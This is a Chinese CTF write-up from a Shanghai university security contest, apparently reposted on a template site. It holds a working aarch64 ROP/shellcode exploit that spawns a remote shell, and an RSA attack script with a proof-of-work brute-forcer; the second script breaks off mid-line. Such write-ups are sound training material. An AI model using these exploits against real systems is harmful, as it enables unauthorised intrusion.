利用周末打了上海市大学生网络安全大赛,最后打了第三,这次的 Misc 真的是难上天,除了签到其他都做不动...膜一波复旦的师傅们。比赛中我打的是 Crypto 和部分 Web,这里也贴了一些队友的 wp。
Misc
签到
直接 base32 解码。
Pwn
baby_arm
arm 架构,核心思想是改掉 mprotect 函数的参数,使 bss 段可执行。
exp如下:
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * import os context.arch = 'aarch64' p = remote('106.75.126.171', 33865) start = p64(0x4007D8)+asm(shellcraft.aarch64.linux.sh()) p.sendafter('Name:', start.ljust(512, '\x00')) padding='a'*0x48 pop=0x4008CC lea=0x4008ac bss= 0x411068 payload = flat(padding, pop, 0, lea, 0, 1, bss, 7, 0x1000, 0, p64(0x411070)*0x100) p.send(payload) p.interactive()
Crypto
rsaaaaa
这道题有两个点,第一个点是 RSA 中给定 m 和 c,提供 d 和 n,这里脚本随机生成的公私钥,想要直接获取基本不可能,我们看到服务器脚本只判断了一个等式:
只要满足 pow(c,D,N) == m
即可,所以我们可以自己选定一个 d,然后令 n=pow(c,d)-m
即可。
第二个点是下面这段代码:
这里给了我们一次解密的机会,但不允许解密明文,这个考点在之前的 suctf 出过,思路是让服务器解密(c*pow(2,e,n))%n
,这样得到的明文是 2*m
,除2即可。文章来源:https://www.toymoban.com/news/detail-644885.html
脚本如下:(拿 socket 写的,比较丑)文章来源地址https://www.toymoban.com/news/detail-644885.html
# -*- coding: utf-8 -*- from hashlib import sha512 import socket import string import re from Crypto.Util.number import * from Crypto.Cipher import AES HOST='106.75.101.197' PORT=7544 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((HOST, PORT)) def brute_force(pad, shavalue): dict = string.letters + string.digits key = "" for i1 in dict: tmp = key key1 = tmp + i1 for i2 in dict: tmp = key1 key2 = tmp + i2 for i3 in dict: tmp = key2 key3 = tmp + i3 for i4 in dict: tmp = key3 key4 = tmp + i4 final_key = key4 if sha512(pad+key4).hexdigest()==shavalue: print key4 return key4 content = sock.recv(1024).strip() print content pad=content[20+7:20+7+16] hash=content[20+33:] print pad print hash sock.recv(1024).strip() sock.send(str(brute_force(pad,hash))+"\n") print sock.recv(1024).strip() content=sock.recv(1024).strip() print content m=int(re.findall(":(.+?)\nand",content)[0],16) c=int(re.findall("ciphertext:0x(.+)",content)[0],16) d=97 n=pow(c,d)-m print n print sock.recv(1024).strip() sock.send(str(n)+"\n") print sock.recv(1024).strip() sock.send(str(d)+"\n") print sock.recv(1
到了这里,关于上海市大学生网络安全大赛题解的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!